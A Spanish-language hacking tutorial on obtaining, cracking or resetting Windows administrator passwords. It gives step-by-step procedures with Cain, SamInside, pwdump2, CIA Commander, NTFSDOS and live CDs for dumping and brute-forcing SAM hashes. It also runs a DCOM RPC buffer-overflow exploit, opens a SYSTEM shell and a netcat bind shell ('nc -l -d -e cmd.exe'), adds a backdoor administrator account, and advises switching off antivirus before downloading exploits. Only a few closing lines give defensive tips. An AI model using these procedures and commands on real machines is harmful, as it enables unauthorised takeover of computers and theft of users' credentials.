Contraseñas en Windows
Contraseñas en Windows
Contraseñas en Windows
CONTRASEÑAS DE WINDOWS
En este apartado explicare la mayoria de las formas que se conocen hasta ahora para
sacar, borrar o crackear las contraseñas de los usuarios de windows (tambien
mencionare los posibles fallos de dichas tecnicas, que como todo mas de alguna lo
tendra), claro que me centrare en sacar la contraseña del administrador la cual nos da
poder casi absoluto sobre nuestro sistema o en su defecto del sistema que hemos
comprometido, asi de que espero se vayan preparando que este tema da para mas y mas
que nada para conocer nuevas tecnicas de las cuales quizas nunca escuchamos.
CONTRASEÑAS EN WIN9X
La cual nos muestra en la parte superior sistema de archivos que en mi caso es NTFS.
Como muchos ya sabran las diferencias entre tener una particion FAT32 y una NTFS es
la estructura con la cual nuestro disco duro almacena e indexa los datos(seria bastante
conveniente que buscaran un poco de informacion al respecto sobre sistemas de
archivos FAT32, NTFS, EXT2, etc) y una diferencia muy notable al momento de tener
particiones de este tipo es que si existe un archivo con un nombre muy largo lo que hace
es cortarlo para dejarlo solamente con 8 digitos, por lo tanto si existe un usuario con el
nombre de administrador, nunca nos vamos a encontrar un archivo administrador.pwl
sino que sera admini~1.pwl por lo tanto ya saben cual es el que tienen que copiar a su
diskette.
La seguridad de win9x es tan admirable que si intentan copiar esos archivos mientras el
sistema operativo este corriendo y ademas estan en una cuenta restringida simplemente
SI los va a dejar copiarlos xD, cosa contraria a Windows XP, NT, 2k, asi de que no
corren ningun riesgo al intentar sacarlos de la computadora para llevarselos a su casa y
jugar con ellos un rato.
Ahora que ya tenemos el archivo pwl nos hace falta sacarles la contraseña ¿Cómo?
Simplemente tomamos nuestro crackeador de pwl’s favorito, en mi caso voy a utilizar
Cain (es bastante bueno este programa lo pueden descargar de www.oxid.it no sera la
primera vez que lo mencione).
Abrimos Cain y nos desplazamos hasta la pestaña de cracker, una vez alli en el apartado
que se encuentra a nuestra izquierda seleccionamos PWL files, ahora nos vamos al
menú File y damos clic donde dice “Add to list” una vez hecho esto nos aparecera una
ventana que nos pedira la ubicación de nuestro archivo pwl, solo es cuestion de buscarlo
y presionar abrir.
Ahora que ya nos aparecio en nuestro programa del Cain solo tenemos que dar clic
derecho sobre el y elegir la opcion de crackeo que mas nos guste por ejemplo
Dictionary Attack o Brute-Force Attack (recomiendo mas la segunda aunque en veces
es un poco mas tardado), y ahora si solo nos falta esperar y obtendremos su password en
texto plano en la parte derecha.
ACCESO LOCAL
Como veremos en esta parte, existen bastantes metodos para obtener la contraseña del
administrador de manera local, no me pondre a explicar todos los metodos existentes
porque nunca voy a terminar con esto.
Antes de comenzar solo decir que existe una copia de respaldo de los archivos que
contienen las contraseñas dentro de C:\Windows\Repair pero de nada nos serviran si
nuestro administrador ya ha cambiado su contraseña(pero uno nunca sabe que tan
despistados son nuestros administradores asi de que no esta por demas que primero les
hechen un ojo a ver que sacan de alli).
ENTRAR EN MODO A PRUEBA DE FALLOS O MODO SEGURO
En lugar explicar este metodo como algo 100% efectivo, mejor voy a explicar en que se
basa su funcionamento y por que no siempre es funcionable, a pesar de que en muchos
foros he visto que explican este metodo como algo que siempre les va a funcionar esta
vez me toco a mi desmentir este mito.
Para nuestro ejemplo vamos a utilizar un equipo el cual solo nos deja entrar como
invitados, (logico que no podemos instalar nada).
El segundo metodo es un poco mas sencillo, primero tenemos que iniciar nuestra
computadora normalmente sin dar clic a F8 ni nada por el estilo.
En la pantalla de Bienvenida cuando nos aparecen los usuarios y debemos de dar clic a
nuestra cuenta de invitado, en lugar de hacerlo presionamos la tecla Ctrl seguido de la
tecla Alt y por ultimo sin soltar estas dos presionamos la tecla suprimir, después de eso
soltamos las tres teclas y las presionamos nuevamente (en algunos teclados no aparece
como suprimir sino como Delete).
Si presionaron las tres teclas dos veces continuas correctamente les debera de cambiar el
aspecto de la pantalla con lo cual ya no les aparecen los usuarios de ese equipo y ahora
solo hay una ventana que les pide un usuario y una contraseña, en la cual vamos a poner
como nombre de usuario administrador (si esta en ingles su Windows deberan poner
administrator) y en el espacio donde les pide la contraseña la dejan en blanco para
después dar un clic en aceptar y wala! Ya los dejo entrar como todo un administrador s
Windows.
Hay veces que en este segundo metodo les aparece una ventana diciendoles que existe
una restricción para su cuenta de usuario y por lo tanto tendran que hacerlo reiniciando
y entrando en modo seguro, esta restricción me ha tocado verla bastantes veces en
equipos nuevos de la marca HP, claro que siempre y cuando nunca hayan formateado su
equipo.
Pues si ha muchos de ustedes les ha funcionado este metodo me diran que no las tiene
pero a mas de alguno no le funciono y les pidio tambien contraseña y quisiera
imaginarme que les gustaria saber la razon por la cual no funciono a menos que sean
unos script kiddies que nomas quieren joder a los demas y no entender de razones y por
lo tanto no leeran estos parrafos.
CONTROL USERPASSWORDS2
Este es otro metodo que me ha tocado ver por Internet y el cual afirman que es 100%
fiable veamos que pasa.
Aquí lo unico que tenemos que hacer es seleccionar el usuario administrador y dar un
clic en el boton “Restablecer contraseña…”, de este modo nos pedira que coloquemos
una nueva contraseña con lo cual pondremos la que mas nos guste y ya podremos entrar
sin mas ni mas a la maravillosa cuenta de administrador.
Como suele suceder fue demasiado facil para ser verdad ¿no creen?.
Cabe decir que para poder ejecutar este comando con toda facilidad, el usuario con el
cual lo hagan debera de contar con privilegios de administrador, por lo tanto desde la
cuenta de invitado ¡NO LO PODRAN HACER!.
La verdad es que este metodo no tiene mas merito debido a que si podemos ejecutarlo
entonces podemos hacer cualquier cosa en la computadora.
POR MEDIO DEL PROTECTOR DE PANTALLA
Este truco tambien me ha tocado verlo bastantes veces, veamos lo sencillo que es
ejecutarlo.
Antes que nada entramos a Windows, ya una vez iniciada nuestra sesion entramos con
el explorador de Windows hasta la carpeta C:\Windows\system32 (Recuerden que en
W2000 seria WINNT en lugar de Windows), ya una vez dentro lo que vamos a hacer es
mover el archivo Logon.scr a cualquier otro lugar, y vamos a hacer una copia de nuestro
archivo cmd.exe ubicado en esa misma carpeta y lo vamos a pegar alli mismo solo que
en lugar de dejarle el nombre de “Copia de cmd.exe” se la vamos a cambiar por
Logon.scr, recuerden que por defecto Windows no nos deja ver las extensiones de
nuestros archivos por lo tanto vamos a requerir habilitarlas.
Nos vamos al menú Herrmientas – Opciones de Carpeta y en la ventana que nos
aparecio le damos clic a la pestaña ver, una vez alli nos desplazamos casi hasta el final y
econtraremos una opcion que dice “Ocultar las extensiones de archivo para tipo de
archivo conocido” la cual se encuentra seleccionada por defecto asi de que la vamos a
des-seleccionar y damos clic en aceptar.
Ahora si ya podemos renombrar nuestro archivo a logon.scr sin ningun problema.
Solo nos resta esperar a que se active el protector de pantalla y en lugar de aparecer
nuestro protector favorito, nos aparecera una shell de nuestro sistema operativo
(recuerden que cmd.exe es tambien conocido como shell del sistema) y ahora si
podremos agregar un nuevo usuario con privilegios de administrador, o agregarnos a
nosotros mismos al grupo de administradores, solo basta con ejecutar:
Para agregar un usuario llamado zhyzura con contraseña kaka seria:
Código:
net user zhyzura kaka /add
Cabe decir que este metodo a mi nunca me funciono, las pruebas las he realizado en
Windows XP, Windows XP Service Pack 1 y Service Pack 2 ademas de tambien
realizarlas en un Windows 2000 Profesional SP0, todos ellos con las particiones en
NTFS.
Al momento de entrar a cualquiera de ellos con una cuenta restringida no permite
borrar, eliminar o sobrescribir archivos ubicados en system32, la unica manera en la que
se pueden renombrar satisfactoriamente y colocarlos dentro de system32 es entrando
con la cuenta de administrador y aun asi inmediatamente sale una pantalla de
advertencia pidiendo el disco de Windows XP por que detecta que archivos del sistema
se han dañado.
Quizas ahora muchos mas de ustedes me digan que en realidad no era esperando a que
iniciara el protector de pantalla sino que deberia de reiniciar el ordenador para que en
lugar de aparecerme el login me aparezca una shell del sistema y desde alli agregarme al
grupo de administradores. Cabe decir que esto tambien lo intente tanto en Windows
2000 como en XP Sp2 y no funciono.
SAMINSIDE
Antes de continuar quiero agregar otros conceptos muy importantes a tener en cuenta al
momento de querer crackear la contraseña de un Windows NT, 2k y XP.
Toca turno a esta poderosa herramienta que nos permitira dumpear las hashes de todos
los usuarios para después crackearlos comodamente tanto con este mismo programa o
pasarlos al L0phtCrack, LC4, LC5, o el que quieran SIN IMPORTAR QUE ESTEN
FORTALECIDAS LAS CONTRASEÑAS CON SYSKEY.
Veamos que sencillo es hacerlo.
Primero a conseguirlo se ha dicho (ya saben google es la solucion), ya una vez que lo
tengamos en nuestras manos procedmos a ejecutarlo, lo mejor de todo es que no
necesita instalacion.
En la ventana que nos aparecera deberemos de dar clic en el siguiente boton para que
nos aparezca un menú:
En el menú que nos aparecera seleccionamos la opcion que mas les guste ya que ambas
funcionaran por igual y veremos como automaticamente nos apareceran todos los
usuarios que tengan una cuenta en nuestro equipo:
Algo que me encanta de este programa es que si existe un usuario con un password
bastante debil, automáticamente nos aparecera su contraseña sin necesidad de crackearla
ademas de que tambien nos muestra la longitud de las contraseñas que contiene cada
usuario (cada símbolo ? representa un carácter), de esta forma si existen varias cuentas
con privilegios de administrador lo mejor sera que nos vayamos por la mas corta (que
no necesariamente es la mas facil, pero casi siempre asi ocurre).
Ahora solo deberemos de seleccionar con una palomita los usuarios a los que les
queramos crackear su contraseña, una vez hecho esto solo seleccionamos las opciones
de crackeo que mas nos gusten dando clic en el siguiente boton:
Pues este metodo les tengo dos noticias una buena y una mala.
La buena es que saminside utiliza un metodo que es conocido como inyeccion dll( me
refiero sobre todo a la opcion que dice “import from local machine using LSASS”) y
mientras este metodo siga funcionando en Windows siempre se podra utilizar sin ningun
inconveniente.
La mala es que para poder utilizar cualquiera de estos dos comandos se requieren
privilegios de administrador al momento de utilizarlo.
DATAPOL CIA COMMANDER
Este metodo seguro ya es conocido por muchos de ustedes pero quizas son pocos los
que lo han puesto en practica.
Lo primero que tenemos que hacer es conseguir el programa, aquí esta su web oficial:
http://www.datapol.de/en/index.htm
Ahora que ya tenemos el programa lo instalamos y ejecutamos, con lo cual nos creara
una carpeta nueva con el nombre de CIA Recovery Floppy GUI Setup a la cual
entramos y ejecutamos su contenido para que después se abra una ventana como la
siguiente, solo es cuestion de colocar un diskette dentro de la unidad A: y
automáticamente lo creara.
Muy bien, ahora que ya tenemos nuestro diskette de inicio del CIA Commander vamos
a ponernos manos a la obra.
Voy a explicar dos formas de utilizar este programa para nuestros fines, una forma sera
simplemente eliminar la contraseña del administrador y de este modo entraremos sin
necesidad de saber la contraseña y el otro metodo sera obtener la contraseña.
Si presionamos la tecla correcta nos debera de abrir una pantalla de este tipo:
Una vez alli, en mi caso me desplazo hasta la pestaña BOOT, y alli modifico la
prioridad con que se arrancara mi computadora para primero lo haga desde las unidades
extraíbles o desde el floppy, con lo cual quedaria algo asi:
En mi caso no hay ningun problema y solo me muestra una sola partición a lo cual
presiono Enter, si te aparecen varias opciones en esta pantalla solo recuerda que
generalmente la primer partición es la que se le asigna a nuestro sistema operativo y las
demas comúnmente son utilizadas para guardar nuestros archivos o instalar otros
sistemas operativos.
La siguiente ventana que nos aparecera nos mostrara un cuadro como el siguiente, en el
cual eligiremos la opcion de User Manager:
Una vez elegida dicha opcion nos aparecera la siguiente ventana:
Como pueden observar lo que ahora nos pide es que seleccionemos el directorio el cual
utiliza nuestro sistema operativo, asi de que ya saben que tienen que seleccionar el que
diga WINDOWS o WINNT y presionar la tecla de espacio.
En la parte superior izquierda nos muestra la lista de usuarios que tiene nuestro sistema
operativo, al momento de que seleccionemos a cada usuario (solo es cuestion de
seleccionarlo con las teclas de direccion y presionar enter) en el cuadro verde nos
indicara si tiene algun password (contraseña) que lo este protegiendo.
Cada una de estas opciones con numeros en realidad se refieren a las teclas F1, F2, F3…
F10.
Y como veran la tercer opcion que dice Chg Pwd, se refiere a cambiar la contraseña del
administrador asi de que solo basta con que presionemos la tecla F3 y lo siguiente que
nos preguntara sera la nueva contraseña que queramos ponerle, una vez cambiada
presionamos F10 para salir de esas opciones y volver a nuestro menú principal y si ya
no se nos olvido nada entonces elegimos reboot y sacamos nuestro diskette para que al
reiniciar ya no volvamos a entrar con el CIA Commander.
En este punto voy a volver a repetir lo que dije unas hojas mas arriba, por que casi estoy
seguro que la mayoria no esta leyendo completo este escrito:
Citar
Como ya sabemos el archivo SAM ubicado en C:\Windows\system32\Config es el
encargado de almacenar las contraseñas de nuestros usuarios, pero resulta de que
Microsoft quiso hacernos la vida un poco mas difícil y creo una utilidad llamada syskey,
la cual brinda proteccion extra a nuestras contraseñas.
Una forma de habilitar esta proteccion es presionando inicio – ejecutar – y tecleando
“syskey”, de esta forma nos aparecera una ventana para activar dicha opcion.
Si nuestro equipo tiene habilitada dicha opcion, para poder sacar la contraseña del
administrador no nos bastara con solo sacar el archivo SAM sino que tambien
tendremos que obtener el archivo system ubicado en la misma carpeta, en caso de no
estar esta proteccion habilitada solo necesitaremos el archivo SAM y podemos utilizar
casi cualquier crackeador como por ejemplo Cain o L0phtCrack.
Para nuestro fin necesitamos seguir todos los pasos mencionados con anterioridad solo
que en lugar de elegir la opcion User Manager, esta vez utilizaremos la opcion de File
Manager.
Ahora nos aparecera la siguiente ventana (para desplazarnos entre ambas ventanas
presionamos la tecla TAB y para desplazarnos entre las carpetas basta con que
presionemos enter en cada una de ellas):
Ahora que tenemos ambos archivos en nuestro poder vamos a abrir el programa
SamInside que por cierto “no requiere instalacion” asi de que lo podremos hacer con
nuestra fabulosa cuenta de usuario restringido.
Una vez ejecutado SamInside nos mostrara una ventana de este tipo:
Ahora damos un clic en la parte que esta encerrada en circulo rojo y seleccionamos la
opcion “Import from SAM and SYSTEM files…”, ahora tenemos que buscar los
archivos de donde los hayamos copiado, si seleccionamos primero el archivo SAM y las
contraseñas estan protegidas con syskey lo mas seguro es que a continuación nos pida el
archivo system, en mi caso existia un usuario llamado Particular con una contraseña
bastante facil de crackear y por ello automáticamente me saco la contraseña:
De aquí tambien podemos observar que el administrador tiene una contraseña de 10
cifras, espero y no sea algo difícil por que en caso de serlo esto nos va a llevar bastante
tiempo.
Como nada mas me interesa la contraseña del administrador, sera este el unico que
dejare seleccionado. Para ver las opciones de crackeo daremos un clic a la flecha
encerrada de color azul y después seleccionaremos las que mas sean de nuestro agrado,
en mi caso lo hare por fuerza bruta (lo que hace es ir generando palabras hasta dar con
la correcta), es un metodo bastante mas lento pero a su vez mas efectivo.
Presionamos F5 y es momento de esperar los resultados:
Como podran observar la contraseña estaba conformada solo por letras de alli que no
tardara tanto en obtenerla.
NTFSDOS
Esta es otra gran herramienta que nos ayuda a reparar daños en nuestro sistema
operativo, por ejemplo cuando se han corrompido archivos primordiales de nuestro
sistema o tambien puede ser utilizado para rescatar información primordial en caso de
que nuestro sistema operativo ya no arranque correctamente.
Al igual que el CIA Commander, tambien es 100% funcionable sobre sistemas
XP,2000,NT y 2003.
La forma en que funciona es sencilla, primero tenemos que arrancar nuestra
computadora con cualquier disco de inicio de msdos (preferentemente arriba de la
version 5.0) y después utilizar el disco de NTFSDOS para montar nuestra partición
NTFS para poder escribir sobre ella sin ningun problema.
Muchos de ustedes ya abran notado mas de alguna vez que si tienen en una misma
computadora dos sistemas operativos, por ejemplo Windows 98 y ademas Windows XP,
sabran que Windows 98 no nos detecta la partición en la que se ubica nuestro Windows
XP, y en el caso de entrar a XP, este ultimo no tiene ningun problema para acceder a
nuestro segundo sistema operativo.
De forma sencilla NTFSDOS nos permite acceder desde msdos a particiones NTFS en
manera total y sin restricción alguna.
Muy bien, muy bien, ahora si ya sabemos como funciona asi de que es momento de
ponernos manos a la obra.
Si no funciona el link, recuerden que siempre esta google para asistirnos en nuestra
ayuda.
Una vez descargado pasamos los archivos a nuestro diskette y listo.
Primero tenemos que arrancar nuestra computadora con un disco de inicio de msdos,
pueden utilizar tambien un disco de inicio de Windows 98.
Una vez hayamos reiniciado nuestra computadora y nos haya dejado en el promp (A:\
>), es entonces cuando insertamos nuestro segundo diskette con la utilidad y ejecutamos
NTFSDOS asi una vez montada la partición solo es cosa de copiar y pegar los archivos.
Esta es la version mas reciente de pwdump, hecha por Todd Sabin y a diferencia de su
antecesor esta herramienta es capaz de burlar el cifrado syskey.
La forma en que lo hace es muy simple, básicamente utiliza una tecnica llamada
inyeccion DLL para cargar su propio codigo en un proceso que sea lo suficientemente
privilegiado (en este caso utiliza LSASS) para realizar una llamada API interna que
logre acceder a las contraseñas cifradas por syskey, sin necesidad de descifrarlas.
Código:
C:\> pwdump2 PID_LSASS >> pass.txt
De esta forma nos almacenara los hashes de todos los usuarios en un archive de texto
llamado pass.txt.
Pero… ¿Qué es eso de PID_LSASS?
El PID no es otra cosa que un simple identificador de proceso, para saber cual es en
nuestra computadora, pueden hacerlo de varias formas:
- Abrir el adminisrador de tareas (Ctrl – ALT - SUPR), de alli desplazarse hasta Ver >
Seleccionar columnas. Y seleccionar “Identificador de proceso (PID)”.
- Entrar a Inicio > ejecutar > cmd > y teclear tasklist. De esta forma les mostrara todos
los procesos de su CPU con su respectivo PID en la parte izquierda.
Ahora que ya sabemos el PID del proceso solo basta con que ejecutemos (esto es en mi
caso):
Código:
C:\> pwdump2 772 >> pass.txt
En mi caso lo voy a hacer con LC4 que es el que tengo instalado, al momento de abrirlo
se nos presenta un pequeño asistente (como no me gustan a mi prefiero cerrarlo), ya una
vez dentro lo que haremos sera iniciar una sesion (File > New session…), ahora
tenemos que importar nuestro archivo de texto mediante el menú import > import from
PWDUMP file…
Muy bien ahora que ya esta cargado lo que haremos sera modificar la forma en la que
realizaremos crackeo mediante Session > Session options, alli se nos mostrara una
ventana de este tipo:
Como veran existen 3 metodos: Dictionary Crack, Dictionary/Brute Irbid Crack y Brute
Force Crack.
El primer metodo lo que hara sera ir comparando los hashes de las palabras que
contengamos en nuestro diccionario hasta dar conla correcta (si buscan un poco por
google encontraran muy buenos diccionarios de palabras, me ha tocado ver de hasta 40
megas).
La segunda seria una mezcla del diccionario con bruta fuerza ya que agrega a las
palabras de nuestro diccionario una o mas letras adicionales tipo jose12.
El tercero ya conocido por todos ustedes lo que hace es ir generando palabras hasta dar
con la correcta con todos los caracteres que nosotros le indiquemos.
PWDUMPX
Cabe decir que no solamente existe pwdump2 sino que tambien existe pwdump3 y
pwdump4, pero siguen teniendo la misma limitante la cual consiste en tener privilegios
de administrador en el equipo que se desee atacar por lo tanto creo que es mejor seguir
avanzando con otros metodos.
Con esto no quiero decir que pwdump no sirva y que nunca lo deban de usar, pero al
menos en mi caso tengo otros metodos que me gustan mas.
UTILIZANDO EXPLOITS
Este uno de los metodos que mas frecuentemente utilizo y quizas de los que menos se
escucha hablar al menos para los fines que en estos momentos estamos buscando.
La forma de uso es bastante sencilla, lo unico que tenemos que hacer es buscar
vulnerabilidades de forma local para después buscar un exploit que nos de shell al
explotar la vulnerabilidad.
Nota: Cabe decir que no todos los exploits nos daran shell sino que tambien pueden
provocar una caida del sistema y en este caso no queremos que esto ocurra(esto se como
se conoce como DOS).
Otra forma bastante sencilla de saber cuales parches tiene instalado nuestro sistema
operativo es desplazandonos hasta la opcion de “agregar o quitar programas” dentro del
“panel de control”. Alli nos mostrara todas las actualizaciones que hayan sido
instaladas.
Quizas muchos digan, “yo nunca he instalado una sola actualizacion, ¿entonces puedo
utilizar cualquier exploit?”
La respuesta es no, ya que muchas veces si se formatea una computadora no quiere
decir que no tenga ningun parche instalado, recuerden que se pueden crear discos de
instalacion de XP con varios Service Pack incluidos (un Service Pack seria un mega
parche que incluye bastantes actualizaciones que te protegen de amenazas de este tipo,
Ah! y como olvidarlo, tambien te hacen tu computadora mas lenta y te quitan espacio
del disco duro).
Otra forma de ver hasta que Service Pack tenemos instalado en nuestra computadora es
dando clic derecho sobre de Mi PC y después en propiedades, asi nos mostrara una
ventana de este tipo:
Aquí no voy a explicar como se compila un exploit ya que ese no es el objetivo de este
caso y ademas este exploit es muy facil encontrarlo ya compilado.
Otra pagina en la cual pueden encontrar una basta cantidad de exploits es la siguiente:
http://www.securityfocus.com/
NOTA: Muchos antivirus te detectaran este tipo de archivos como virus, pero en
realidad no lo son asi de que yo recomiendo desactiven el antivirus antes de
descargarselo por que lo mas seguro es que se los deje inservible.
Código:
C:\>cd tool
C:\tool>dcom
---------------------------------------------------------
- Remote DCOM RPC Buffer Overflow Exploit
- Original code by FlashSky and Benjurry
- Rewritten by HDM <hdm [at] metasploit.com>
- Ported to Win32 by Benjamin LauziÞre <blauziere [at] altern.org>
- Universalized for kiddie extravaganza by da barabas
- Usage: dcom <Target ID> <Target IP>
- Targets:
- 0 Windows 2000
- 1 Windows XP
C:\tool>
Como podran observar alli mismo me dice como utilizarlo correctamente, solo es cosa
de poner:
Código:
- Usage: dcom <Target ID> <Target IP>
Donde target se refiere al sistema operativo y la ip valgase repetirlo, seria nuestra ip,
aunque cabe decir que la forma de decir que lo ejecute en nuestra propia maquina seria
poniendo 127.0.0.1 que es la ip de localhost, asi de que ya saben como ejecutarlo, si
tienen un Windows 2000 seria 0 y si es XP 1, en mi caso es XP asi de que ejecuto:
Código:
C:\tool\dcom 1 127.0.0.1
Como podran observar se ejecuto sin ningun problema, ahora es es cosa de conectarno
con el netcat al puerto 4444.
Para usar el netcat de forma que se conecte a dicho puerto solo es cuestion de ejecutar:
Código:
nc ip puerto
en caso de que quieran que les muestre mas información de la necesaria basta con
agregar –vv, ahora solo tenemos que desplazarnos hasta la carpeta que contenga nuestro
ejecutable de netcat, en mi caso lo tengo en la misma carpeta del exploit asi de que
ejecuto el comando “nc –vv 127.0.0.1 4444”
y wala!!!!
Ya estamos conectados a nuestro propio equipo pero no como un usuario restringido
sino que estamos conectados con privilegios del usuario system el cual tiene muchos
mas derechos sobre el equipo que el mismo administrador, seria como decir que es el
usuario maquina de nuestra computadora al cual nuestro administrador le pide permiso
para realizar acciones.
Esto es por que me dio permisos de system, si me hubiera dado permisos de un usuario
normal me hubiera dejado dentro del escritorio del usuario que estaba usando la
maquina es ese momento.
Nota: La mayoria de los exploit que atacan a xp y nos dan shell remota siempre nos dan
permisos de system, que es mucho mejor que tener permisos de administrador.
Lo demas ya es cosa sencilla solo tenemos que crear un nuevo usuario y agregarlo al
grupo de administradores(crear el usuario lo digo por si es que estamos dentro de la
cuenta de invitado).
Para agregar un usuario llamdo zhyzura con contraseña kaka seria:
Código:
net user zhyzura kaka /add
Como podran observar nunca me denego el acceso a estas acciones, gracias a que
estamos en la todo poderosa cuenta de system.
Ya que tenemos nuestro nuevo usuario dentro del grupo administradores solo es
cuestion de volver a iniciar sesion para que los cambios surtan efecto.
OJO!!!!!!!!!!!!!!!
Al momento de que cierren la ventana en la cual estamos conectados como system les
va a aparecer la siguiente ventana:
¿Recuerdan esa ventana? ¿alguna vez estuvieron infectados por el virus llamado
BLASTER?
Si lo estuvieron entonces recordaran esta ventana la cual siempre les aparecia cuando se
conectaban a Internet y después de un minuto les reiniciaba la computadora.
El motivo por el cual les ha aparecido es por que al momento de que ejecutamos el
exploit lo que hizo fue atacar un servicio de Windows el cual tenia privilegios de system
y al momento de cerrar esa ventana lo que hicimos fue que dicho servicio creara un
crash en un proceso primordial de Windows sin el cual se ve obligado a reiniciar.
Hay dos formas de solucionar esto.
La primera es quedarnos de brazos cruzados al momento de que nos aparezca por que
ya no podremos evitarlo xD.
La segunda es:
Antes de que vayamos a cerrar la ventana primero ponemos el netcat a la escucha con el
comando:
Código:
nc -l -d -e cmd.exe -p 6000
y antes de cerrar la ventana primero abrimos otra y nos conectamos nuevamente pero
ahora sera al puerto 6000:
Código:
nc -vv 127.0.0.1 6000
Ya que hicimos esto, ahora si ya podemos cerrar ambas ventanas y asi podremos
reiniciar comodamente sin que nos aparezca dicha ventana.
Es sencillo saber que para que este metodo no sea 100% funcionable basta con que
nuestro administrador descargue todas las actualizaciones de Windows y mantenga sus
equipos al dia.
UTILIZANDO UN LIVE-CD
Existen bastantes live cd como para decirles cual es el que deban de utilizar, asi de que
seleccionen el que mas les guste y a trabajar se ha dicho ademas de que sera un muy
buen comienzo para aquellos que no conozcan nada sobre el mundo *NIX.
Muy bien ahora que estamos dentro de nuestro GNU/Linux lo que tenemos que hacer es
copiar los archivos SAM y SYSTEM, para ello vamos a dar clic en el icono siguiente
para que se habra nuestro explorador (o tambien pueden presionar Alt+F2 y escribir
konqueror):
Ahora en la ventana que nos a aparecido tenemos que dar un clic en el siguiente icono
para que nos muestre los dispositivos de nuestra computadora:
Para saber en que partición tenemos instalado nuestro Windows solo es cuestion de
saber en que partición esta instalado nuestro Windows para asi entrar y copiar
tranquilamente los archivos SAM y SYSTEM.
Para el que no lo sepa, las particiones en GNU/Linux se identifican de la siguiente
forma:
hdaX = hda se refiere al disco duro que se encuentra como maestro del primer cable
IDE de nuestra computadora y la X se rfiere al numero de partición que tiene dicho
disco duro.
hdbX = hdb se refiere al disco duro que se encuentra como esclavo del primer cable
IDE y la X se refiere al numero de partición de dicho disco duro.
Ahora muchos me diran, ya se como copiar los archivos pero ahora ¿Cómo los saco con
mi memoria flash o floppy si mi computadora no tiene acceso a internet?
Cabe decir que no todas las distribuciones de Linux te detectan las memorias flash de
modo que solo conectes y ya puedas copiar archivos sino que nosotros tenemos que
montarla antes de poder usarla, para ello vamos a abrir la consola, dando clic en el
siguiente icono:
Una vez alli solo tenemos que crear una carpeta en la cual montaremos nuestra memoria
flash de la siguiente forma:
Código:
mkdir /flash
después solo es cuestion de montar nuestra memoria con el siguiente comando:
Código:
mount /dev/sda1 /flash
En caso de que sea un diskette solo tenemos que cambiar sda1 por fd0 y listo.
Ahora si ya estan listos para crackear los dos archivos y ya de paso dieron sus primeros
pasos en GNU/Linux.
El proceso de crackear el archivo sam creo que ya se explico bastantes veces en este
Pues si bien este metodo es bastante sencillo una forma de hacerles la vida imposible a
los chicos listos lo mejor es ponerle un password a la bios asi como tambien es bueno
tener contraseñas extremadamente complejas, recuerden poner numeros junto con letras
tanto mayusculas como minusculas y si les es posible pongan alguno que otro carácter
en codigo ASCII.
OBTENER LAS CONTRASEÑAS DE FORMA REMOTA
Aquí es donde la cosa se torna un poco mas interesante, por que podremos obtener la
contraseña del administrador de un equipo sin necesidad de que tengamos que estar
frente al equipo.
Para lograrlo lo que se necesitara sera colocar un sniffer que este interceptando todo el
trafico que pasa por nuestra red de tal forma que tambien podra obtener las hashes de la
contraseña del administrador con el simple hecho de entrar a una carpeta que estemos
compartiendo en nuestro equipo.
En este caso tendran que leer un manual escrito por mi compañero Gospel que lo
explica detalladamente asi de que si alguien no entiende completamente los pasos que
se explican alli lo mas seguro es que se deba a que nunca leyo la primer parte de este
manual.